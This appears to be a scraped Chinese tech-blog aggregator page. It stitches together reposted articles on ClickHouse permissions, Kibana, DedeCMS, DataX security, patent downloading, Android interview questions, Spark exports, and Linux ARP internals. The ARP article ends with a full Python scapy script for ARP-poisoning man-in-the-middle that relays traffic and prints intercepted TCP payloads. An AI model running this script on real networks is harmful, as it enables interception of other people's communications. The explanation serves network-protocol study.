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ClickHouse
...系统权限不正确的处理方法 3.1 问题描述 假设我们已创建一个指向本地文件系统的外部表,但在查询时收到错误提示:“Access to file denied”,这通常意味着ClickHouse服务账户没有足够的权限访问该文件。 sql CREATE TABLE external_table (event Date, id Int64) ENGINE = File(Parquet, '/path/to/your/file.parquet'); SELECT FROM external_table; -- Access to file denied 3.2 解决方案 首先,我们需要确认ClickHouse服务运行账户对目标文件或目录拥有读取权限。可以通过更改文件或目录的所有权或修改访问权限来实现: bash sudo chown -R clickhouse:clickhouse /path/to/your/file.parquet sudo chmod -R 750 /path/to/your/file.parquet 这里,“clickhouse”是ClickHouse服务默认使用的系统账户名,您需要将其替换为您的实际环境下的账户名。对了,你知道吗?这个“750”啊,就像是个门锁密码一样,代表着一种常见的权限分配方式。具体来说呢,就是文件的所有者,相当于家的主人,拥有全部权限——想读就读,想写就写,还能执行操作;同组的其他用户呢,就好比是家人或者室友,他们能读取文件内容,也能执行相关的操作,但就不能随意修改了;而那些不属于这个组的其他用户呢,就像是门外的访客,对于这个文件来说,那可是一点权限都没有,完全进不去。 4. 文件不存在的问题及其解决策略 4.1 问题描述 当我们在创建外部表时指定的文件路径无效或者文件已被删除时,尝试从该表查询数据会返回“File not found”的错误。 sql CREATE TABLE missing_file_table (data String) ENGINE = File(TSV, '/nonexistent/path/file.tsv'); SELECT FROM missing_file_table; -- File not found 4.2 解决方案 针对此类问题,我们的首要任务是确保指定的文件路径是存在的并且文件内容有效。若文件确实已被移除,那么重新生成或恢复文件是最直接的解决办法。另外,你还可以琢磨一下在ClickHouse的配置里头开启自动监控和重试功能,这样一来,万一碰到文件临时抽风、没法用的情况,它就能自己动手解决问题了。 另外,对于周期性更新的外部数据源,推荐结合ALTER TABLE ... UPDATE语句或MaterializeMySQL等引擎动态更新外部表的数据源路径。 sql -- 假设新文件已经生成,只需更新表结构即可 ALTER TABLE missing_file_table MODIFY SETTING path = '/new/existing/path/file.tsv'; 5. 结论与思考 在使用ClickHouse外部表的过程中,理解并妥善处理文件系统权限和文件状态问题是至关重要的。只有当数据能够被安全、稳定地访问,才能充分发挥ClickHouse在大数据分析领域的强大效能。这也正好敲响我们的小闹钟,在我们捣鼓数据架构和运维流程的设计时,千万不能忘了把权限控制和数据完整性这两块大骨头放进思考篮子里。这样一来,咱们才能稳稳当当地保障整个数据链路健健康康地运转起来。
2023-09-29 09:56:06
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落叶归根
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本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。 其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
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Kibana
...的强大功能。实际上,Elastic Stack及其组件在全球范围内的广泛应用不断推动着实时数据分析与可视化的边界。近日,Elastic公司发布了Kibana 8.0版本,带来了全新的用户体验、增强的数据可视化功能以及更强大的机器学习集成。 例如,新版本引入了Canvas工作区,让用户能够以更加直观和灵活的方式混合文本、图像和动态数据,构建出专业级的报告和故事板。此外,时间序列分析也得到了显著提升,用户现在可以更便捷地对大规模时序数据进行深度挖掘,揭示隐藏的趋势和异常情况。 对于希望进一步探索Kibana应用实践的企业而言,一些知名企业在实际业务中运用Kibana的成功案例值得研究。如某大型电商企业通过搭建基于Kibana的实时监控系统,实现了对其海量交易数据的实时洞察与故障预警,有效提升了运维效率与服务质量。 同时,也有越来越多的开发者和数据科学家投入到Kibana插件生态建设中,开发出一系列创新工具和扩展功能,以满足不同行业和场景下的定制化需求。这些前沿发展不仅展示了Kibana作为开源数据可视化平台的强大生命力,也为广大用户提供了更为广阔的应用前景和想象空间。因此,在掌握了基础操作之后,持续关注并深入学习Kibana的最新特性和最佳实践,无疑将有助于我们在数据驱动决策的时代浪潮中保持领先优势。
2023-08-20 14:56:06
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岁月静好
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本篇文章为转载内容。原文链接:https://blog.csdn.net/senlinmu110/article/details/122086258。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 在前期的推文《SAP软件付款条件的配置及应用介绍》中详细介绍了付款条件的配置及应用,那篇文章中提到了分期付款,但没有展开详细的介绍说明,今天在此文中补充上。 我们知道付款条件配置好后,在做发票凭证时候可以输入付款条件,但是那个付款条件的字段只能输入一个值(如下图) 那么如果遇到一笔款项要分多期支付,并且每一期对应的付款条件不同,比如公司要支付供应商10000元,但和供应商商定可以分三期支付,一期支付20%,对应的付款条件为Z001,二期支付30%,对应的付款条款为Z002,三期支付剩余50%,对应的付款条件为Z003。 SAP如何处理上面这样的业务场景? SAP软件发票凭证录入界面的付款条件字段只能输入一个付款条件代码,我们可以想象下系统要处理这样的分期付款,那么这个付款条件代码就必须能关联到三个不同的付款条件,即它要包含三个具体的付款条件,SAP软件也就是基于这样逻辑设计的,所以对于分期付款的付款条件可以把它看做是一个付款条件组,它包含了三个具体的付款条款(如下图)。 详细信息直接访问下面链接吧,懒得一点点粘贴了 https://mp.weixin.qq.com/s/WnUEKH5TpoQjsFM66E1Yxg 推荐阅读: 《DEMO:接口以XML为入参》 《DEMO:接口以Json为入参》 《Odata 增删改查详例》 《ODATA CREATE_DEEP_ENTITY 详例》 《RESTful DEMO 一:SAP 如何提供 RESTful Web 服务》 《RESTful DEMO 四 :增删改查及调用》 《十年老码农搬砖习惯和技巧》 《我这个老码农是怎么debug标准程序的》 《我是怎样调试BAPI的,以F-02为例》 《动态批量修改任意表任意字段的值》 《动态获取查询条件的一个小Demo》 《使用cl_gui_docking_container 实现多ALV》 《VOFM 修改 组单开票时 会计凭拆分规则》 《DEMO SUBMIT 某程序并获取该程序ALV数据》 《DEMO:S/4 1809 FAGLL03H 增加字段增强》 《几个ABAP实用模板,体力活就别一行行敲了,复制粘贴得了》 《DEMO:BTE增强实现凭证创建检查》 《SAP Parallel Accounting(平行分类账业务)配置+操作手册+BAPI demo程序》 《CC02修改确认日期BAPI:Processing of change number was canceled》 《我是怎样调试BAPI的,以F-02为例》 《女儿的部分书单》 《推荐几本小说吧,反正过年闲着也是闲着,看看呗》 《我是不是被代码给耽误了……不幸沦为一名程序员……》 《三亚自由行攻略(自己穷游总结)》 《苏州游记》 《杂谈:说走就走的旅行没那么难》 《溜达:无锡》 《记码农十周年(20110214--20210214)》 《不一样的SAP干货铺群:帅哥靓妹、红包、烤羊腿!》 《杂谈:几种接口》 《干货来袭:2020年公众号内容汇总》 《DEMO search help 增强 ( vl03n KO03 等)》 《录BDC时 弹出的公司代码框问题》 《动态获取查询条件的一个小Demo》 《动态批量修改任意表任意字段的值》 WDA Demo WDA DEMO 0:开启服务 设置hosts WDA DEMO 02: 简单介绍 WDA DEMO 03: 根据选择条件查询并显示 WDA DEMO 04: select options 查询并显示 WDA DEMO 05:两个table联动展示数据 WDA DEMO 06: 创建事务代码 WDA DEMO 07 页面跳转及全局变量的使用 WDA DEMO 08 全局变量方式二 WDA DEMO 09 ALV 简单展示 WDA DEMO 1:简单查询并显示结果 WDA DEMO 10 代码模块化整理 WDA DEMO 11 根据BAPI/Function创建WDA Debug 系列 DEBUG 系列一:Dump debug DEBUG 系列二:Configure Debugger Layer DEBUG系列三:使用 F9 和 watch point DEBUG系列四:第三方接口debug DEBUG系列五:Update 模式下的function debug DEBUG系列六:后台JOB debug DEBUG系列七:保存测试参数 DEBUG系列八:Debug弹出框 debug系列九:SM13查看update更新报错 DEBUG系列十:Smartforms debug DEBUG系列十一:GGB1 debug Debug系列十二:QRFC 队列 debug 本篇文章为转载内容。原文链接:https://blog.csdn.net/senlinmu110/article/details/122086258。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-08-12 21:25:44
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...S这一国内领先的开源内容管理系统后,我们不妨进一步探索当今CMS市场的发展趋势以及该领域内的技术创新。近日,据W3Techs数据显示,全球近40%的网站使用CMS系统进行搭建和管理,其中WordPress、Joomla!、Drupal等国际知名CMS与织梦DedeCMS一同构成了丰富多元的市场格局。 值得注意的是,随着Web技术的不断演进,现代CMS正朝着更加智能化、模块化和API化的方向发展。例如,头部CMS已经开始整合人工智能功能,提供智能内容推荐、自动化SEO优化等功能,极大提升了用户体验和搜索引擎友好度。 同时,安全性成为各CMS开发者关注的重点。织梦DedeCMS等系统也在不断提升系统的安全防护能力,通过指纹验证、漏洞修复等方式保障用户数据安全。然而,用户在使用过程中仍需定期更新系统及插件以应对不断出现的安全挑战。 此外,响应式设计和多终端适配也成为衡量一款CMS是否与时俱进的重要指标。织梦DedeCMS等产品已实现对移动端的全面支持,确保无论是在桌面端还是移动设备上,都能为用户提供一致且优质的浏览体验。 综上所述,作为国内开源CMS领域的佼佼者,织梦DedeCMS在保持其核心优势的同时,也面临着适应新技术变革、提升用户体验、强化安全防护等一系列挑战。未来,织梦DedeCMS如何紧跟行业发展趋势,持续创新升级,将决定其在国内乃至全球市场的长远竞争力。对于广大用户而言,在选择和使用织梦DedeCMS时,既要看到其当前的优势特点,也要关注其在新环境下的发展动态和技术革新,以实现网站的高效建设和运维。
2023-09-24 09:08:23
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2023-06-16 19:29:49
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Datax
...、多快,都能确保它的内容既不会被偷窥,也不会被篡改,完完整整、安安全全地到达目的地。 json { "job": { "content": [ { "reader": { "name": "mysqlreader", "parameter": { "username": "root", "password": "", "connection": [ { "jdbcUrl": ["jdbc:mysql://source-db:3306/mydb?useSSL=true&serverTimezone=UTC"], "table": ["table1"] } ], // 配置SSL以保证数据传输安全 "connectionProperties": "useSSL=true" } }, "writer": {...} } ], "setting": { // ... } } } 上述示例中,我们在配置MySQL读取器时启用了SSL连接,这是Datax保障数据传输安全的第一道防线。 2. 认证与授权 Datax服务端及各数据源间的认证与授权也是保障安全的重要一环。Datax本身并不内置用户权限管理功能,而是依赖于各个数据源自身的安全机制。例如,我们可以通过配置数据库的用户名和密码实现访问控制: json "reader": { "name": "mysqlreader", "parameter": { "username": "datax_user", // 数据库用户 "password": "", // 密码 // ... } } 在此基础上,企业内部可以结合Kerberos或LDAP等统一身份验证服务进一步提升Datax作业的安全性。 3. 敏感信息处理 Datax配置文件中通常会包含数据库连接信息、账号密码等敏感内容。为防止敏感信息泄露,Datax支持参数化配置,通过环境变量或者外部化配置文件的方式避免直接在任务配置中硬编码敏感信息: json "reader": { "name": "mysqlreader", "parameter": { "username": "${db_user}", "password": "${}", // ... } } 然后在执行Datax任务时,通过命令行传入环境变量: bash export db_user='datax_user' && export db_password='' && datax.py /path/to/job.json 这种方式既满足了安全性要求,也便于运维人员管理和分发任务配置。 4. 审计与日志记录 Datax提供详细的运行日志功能,包括任务启动时间、结束时间、状态以及可能发生的错误信息,这对于后期审计与排查问题具有重要意义。同时呢,我们可以通过企业内部那个专门用来收集和分析日志的平台,实时盯着Datax作业的执行动态,一旦发现有啥不对劲的地方,就能立马出手解决,保证整个流程顺顺利利的。 综上所述,Datax的安全性设计涵盖了数据传输安全、认证授权机制、敏感信息处理以及操作审计等多个层面。在用Datax干活的时候,咱们得把这些安全策略整得明明白白、运用自如。只有这样,才能一边麻溜儿地完成数据同步任务,一边稳稳当当地把咱的数据资产保护得严严实实,一点儿风险都不冒。这就像是现实生活里的锁匠师傅,不仅要手到擒来地掌握开锁这门绝活儿,更得深谙打造铜墙铁壁般安全体系的门道,确保我们的“数据宝藏”牢不可破,固若金汤。
2024-01-11 18:45:57
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蝶舞花间
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本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_38688347/article/details/124000919。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 半自动化批量下载专利全文pdf傻瓜攻略 写在前面 适合人群 使用前提 基本思路 键鼠记录器脚本 前期准备 脚本原理 注意事项 检查下载效果 写在前面 整理专利的时候,在专利引擎上只能一条条的下载,很是烦人。我比较讨厌这种重复性劳动,所以每次碰上都得想想办法怎么自动化操作,虽然上每次研究自动化办法的时间把都足够把活干完了哈哈。可惜的是每次搞完都没有把文档保留下来,下次有点什么事情又得从头开始。因此准备开始写写文档记录一些思路,同时如果能帮到有需要的人就更好了! 适合人群 不会爬虫的都可以来看看!能大概看明白python就够了。 使用前提 python环境配好 有梯子 不排斥键鼠记录器读取键鼠记录 基本思路 现在的专利搜索引擎大概都有批量下载库,如果只要摘要的话直接下载就可以了。但是下载全文的时候,大部分引擎都不支持批量下载,只能一个一个点,还得输验证码。 这里就不得不提到google patent了,这是我目前找到的唯一一个不需要验证码就能下载的专利引擎了(其实主要是还不会用python识别验证码)。那么有了google patent这个神器,就可以用自动办法来进行下载了。我这里使用的是按键精灵,傻瓜式操作。(没用python爬虫的原因是requests不能挂梯子。。。这里我不是很确定是什么问题,希望有大佬指点一下。anyway,主要思路就是用键鼠记录器点点点,我用的是按键精灵,理论上什么记录器都可以。 ps. 听说poxoq能批量下载,但是新版本只能下载前十页,因此我没有尝试,如果能直接下载全文的话请评论区告诉我。 键鼠记录器脚本 前期准备 按格式排好公开号或者申请号,在编辑器中打开; 把google patent搜索页面和文本编辑器分屏显示,便于操作。 脚本原理 以edge浏览器为例,按键精灵双击全选文本中第一行的公开号,ctrl+c复制,鼠标转到网页搜索框,ctrl+v粘贴,点搜索。等搜索完成右键download PDF,选链接另存为并确定,之后点击网页关闭下载栏,一次下载完成。返回编辑器,删除第一行的文本,把第二行提到第一行,完成复位。 这样就形成了完整的一次过程,只要重复运行脚本就可以把所有专利全文下载下来。 注意事项 实际操作中,可能遇到两大问题: 网页反馈问题 这里指的是搜索后没有来到我们想象中的专利页,可能是没有搜索到专利,或该专利google patent没有pdf文档,这时如果脚本还在运行,那么显然就会错误运行。 脚本运行问题 主要要考虑的是命令之间的延时。延时调小确实运行速度会变快,但是如果电脑运行速度不够或者网速/服务器慢了,就会错误执行命令。我的建议是文本操作可以适当删减延时,涉及网页的部分适量增加延时,保证脚本的容错率。 由此可以看出来这个脚本还是离不开人的,在跑的时候还是需要盯着点,如果有错误可以及时处理。 检查下载效果 看了上面的注意事项,想必你也知道这个脚本不太靠谱。那么解决这个问题的方法就是负反馈。下载完了检查一遍就好了。 由于google patent下载的文件是以公开号命名的,所以对照要下载的和已下载的公开号就能看出哪些专利没有下载成功。 我这里写了一个python小脚本。 import pandas as pdimport os读取待下载专利的公开号,地址修改成你自己存放的位置df = pd.read_excel("target.xlsx",header= 0, usecols= "B").drop_duplicates()取前11位作为对比(以中国专利作为参考)PublicNumber_tgt = list(map(lambda x: x[0:11],df["公开(公告)号"].to_list()))读取已下载专利的公开号,地址修改成你自己存放的位置filelist=os.listdir(r'C:\Users\mornthx\Desktop\专利全文')取前11位作为对比PublicNumber_dl = list(map(lambda x: x[0:11],filelist))比较两者差值diff = set(PublicNumber_tgt).difference(set(PublicNumber_dl))print(diff) 没下载的专利具体问题具体解决就好了。 希望能帮到大家! 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_38688347/article/details/124000919。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-21 12:55:28
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本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_62167422/article/details/127129133。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 前一阵子在和一位技术总监闲谈中了解到,现在 Android Framework 成为头部公司必不缺少的技术栈]之一,尤其是熟悉 Franmework 源码的 Android 开发者,在面试中往往会占到很大的优势 那我今天就带来一部分有关:Framework 比较高刷的 Handler&Binder 两块技术点面试题分享 Handler 篇 looper,loop() 为什么不会阻塞主线程? 因为主线程的 Looper 是在 ActivityThread 里面准备出来,创建出来的,那么其实我们 Android 程序也就是 Java 程序,你启动它,进入 main 方法,执行完所有的方法,也就会退出了 我们写的代码就是通过 Handler 驱动起来的,我们 Activity 的 onCreate、onResume、onStop 等等这些生命周期方法,包括我们的 UI 绘制的信号,这些UI绘制的事件都是通过 Handler Looper 循环内部发起的,来调用回调我们的各个 Activity,各个 Fragment 等等这样的一些组件里面的各个生命周期方法,我们的代码就是在循环里面执行的,所以不会阻塞 简述 Handler 的实现原理 Android 应用是通过消息驱动运行的,在 Android 中一切皆消息,包括触摸事件,视图的绘制、显示和刷新等等都是消息 Handler 是消息机制的上层接口,平时开发中我们只会接触到 Handler 和 Message,内部还有 MessageQueue 和 Looper 两大助手共同实现消息循环系统。 延迟消息是怎么实现的? 无论是即时消息还是延迟消息,都是计算出具体的时间,然后作为消息的 when 字段进程赋值 在 MessageQueue 中找到合适的位置(安排 when 小到大排列),并将消息插入到 MessageQueue 中;这样, MessageQueue 就是一个按照消息时间排列的一个链表结构 为什么 Handler 会报内存泄漏? 因为是内部类持有外部类的对象, sendMessage 的时候会调用到 Handler 的 enqueueMessage 方法,msg.target = this; Message 会持有 handler,而 handler 持有调用 handler 的对象,所以 gc 不能回收 Binder 篇 Binder 的定向制导,如何找到目标 Binder,唤起进程或者线程呢? Binder 实体服务其实有两种: 一是通过 addService 注册到 ServiceManager 中的服务,比如 ActivityManagerService、PackageManagerService、PowerManagerService 等,一般都是系统服务; 还有一种是通过 bindService 拉起的一些服务,一般是开发者自己实现的服务 这里先看通过 addService 添加的被 ServiceManager 所管理的服务 ServiceManager 是比较特殊的服务,所有应用都能直接使用,因为 ServiceManager 对于 Client 端来说 Handle 句柄是固定的,都是 0,所以 ServiceManager 服务并不需要查询,可以直接使用 Binder 为什么会有两棵 binder_ref 红黑树? Binder_proc 中存在两棵 binder_ref 红黑树,其实两棵红黑树中的节点是复用的,只是查询方式不同,一个通过 Handle 句柄,一个通过 node 节点查找 refs_by_node 红黑树主要是为了 Binder驱动往用户空间写数据所使用的,而 refs_by_desc 是用户空间向 Binder 驱动写数据使用的,只是方向问题 比如在服务 addService 的时候,binder 驱动会在在 ServiceManager 进程的 binder_proc 中查找 binder_ref 结构体 Binder 是如何做到一次拷贝的 用户空间的虚拟内存地址是映射到物理内存中的 对虚拟内存的读写实际上是对物理内存的读写,这个过程就是内存映射 这个内存映射过程是通过系统调用 mmap() 来实现的 Binder借助了内存映射的方法,在内核空间和接收方用户空间的数据缓存区之间做了一层内存映射,就相当于直接拷贝到了接收方用户空间的数据缓存区,从而减少了一次数据拷贝 Binder机制是如何跨进程的 在内核空间创建一块接收缓存区, 实现地址映射:将内核缓存区、接收进程用户空间映射到同一接收缓存区 发送进程通过系统调用(copy_from_user)将数据发送到内核缓存区;由于内核缓存区和接收进程用户空间存在映射关系,故相当于也发送了接收进程的用户空间,实现了跨进程通信 就举例这么多了,面试题也不是几个就能全部覆盖的,毕竟面试官不是吃素的,他会换着花样问你;有想跳槽拿高薪的 Android 开发的朋友,我这里分享一份 Handler、Binder 精选面试 PDF 文档;私信发送 “面试” 直达获取;想拿高薪的人很多,就看你肯不肯努力了 面试题 PDF 文档内容展示: Handler 机制之 Thread Handler 机制之 ThreadLocal Handler 机制之 SystemClock 类 Handler 机制之 Looper 与 Handler 简介 Android 跨进程通信 IPC 之 Binder 之 Framewor k层 C++ 篇 Android 跨进程通信 IPC 之 Binder 之 Framework 层 Java 篇 Android 跨进程通信 IPC 之 Binder 的补充 Android 跨进程通信 IPC 之 Binder 总结 小伙伴们如果有需要以上这些资料:私信发送 “面试” 直达获取,承诺100%免费! 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_62167422/article/details/127129133。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-15 10:35:50
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本篇文章为转载内容。原文链接:https://blog.csdn.net/guo_0423/article/details/126352162。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1. 编写Scala工程代码,根据dwd层表统计每个地区、每个国家、每个月下单的数量和下单的总金额,存入MySQL数据库shtd_store的nationeverymonth表(表结构如下)中,然后在Linux的MySQL命令行中根据订单总数、消费总额、国家表主键三列均逆序排序的方式,查询出前5条,将SQL语句与执行结果截图粘贴至对应报告中; spark.sql("select nationkey,regexp_replace(nationname,'\'','') as nationname,regionkey,regexp_replace(regionname,'\'','') as regionname,sum(totalnum) as totalorder,sum(totalprice) as totalconsumption,year,month from nationeverymonth group by nationkey,regionkey,month,nationname,year,regionname;") 我为了方便查询和之后的操作,将上面的查询结果导入到新表nationeverymonths 查表 接下来将hive中的数据导入mysql中 package com.atguigu.spark.sqlimport org.apache.spark.SparkConfimport org.apache.spark.sql.SparkSessionimport java.util.Propertiesobject DataHiveToMySQL {def main(args: Array[String]): Unit = {val sparkConf = new SparkConf().setMaster("local[]").setAppName("sparkSQL")val spark = SparkSession.builder().enableHiveSupport().config(sparkConf).getOrCreate()val result=spark.sql("select from ods.nationeverymonths")val props=new Properties()props.setProperty("user","root")props.setProperty("password","123456")props.setProperty("driver","com.mysql.jdbc.Driver")result.write.mode("overwrite").jdbc("jdbc:mysql://192.168.230.132:3306/user?serverTimezone=UTC&characterEncoding=UTF-8&useSSL=false", "nationeverymonth", props)println("导入成功")spark.stop()} } 运行可见导入成功 进入MySQL中查看结果 可见数据成功导入 接下来按照要求查询: 2.请根据dwd层表计算出某年每个国家的平均消费额和所有国家平均消费额相比较结果(“高/低/相同”),存入MySQL数据库shtd_store的nationavgcmp表(表结构如下)中,然后在Linux的MySQL命令行中根据订单总数、消费总额、国家表主键三列均逆序排序的方式,查询出前5条,将SQL语句与执行结果截图粘贴至对应报告中; 在解这道题的时候遇见一个问题,在求所有国家平均消费额的时候一直报错,由于没有数据这道题的题意还是有点没看明白,于是我就用了最简单的办法先新增一列,再单独将所有国家平均消费额求出来然后再插入,如果各位大佬有解决这个问题的办法希望能指导一下 先将每个国家的平均消费额求出来 spark.sql("select nationkey,nationname,avg(totalconsumption) as nationavgconsumption from nationeverymonths group by nationkey,nationname") 再新增一列所有国家平均消费额 spark.sql("alter table nationeverymonths add columns(avg_allstring)") 再将查询到的所有国家平均消费额导入进去 spark.sql("insert overwrite table nationeverymonths1 select nationkey,nationname,avg_totalconsumpt,1500 from nationeverymonths1") 再次查表 按照题意添加比较结果字段 spark.sql("select ,case when avg_totalconsumpt>avg_all then '高' when avg_totalconsumpt<avg_all then '低' when avg_totalconsumpt=avg_all then '相同' else 'null' end as comparison from nationeverymonths1").show 最后的排序语句和题一一样 本篇文章为转载内容。原文链接:https://blog.csdn.net/guo_0423/article/details/126352162。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-01 10:55:33
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Superset
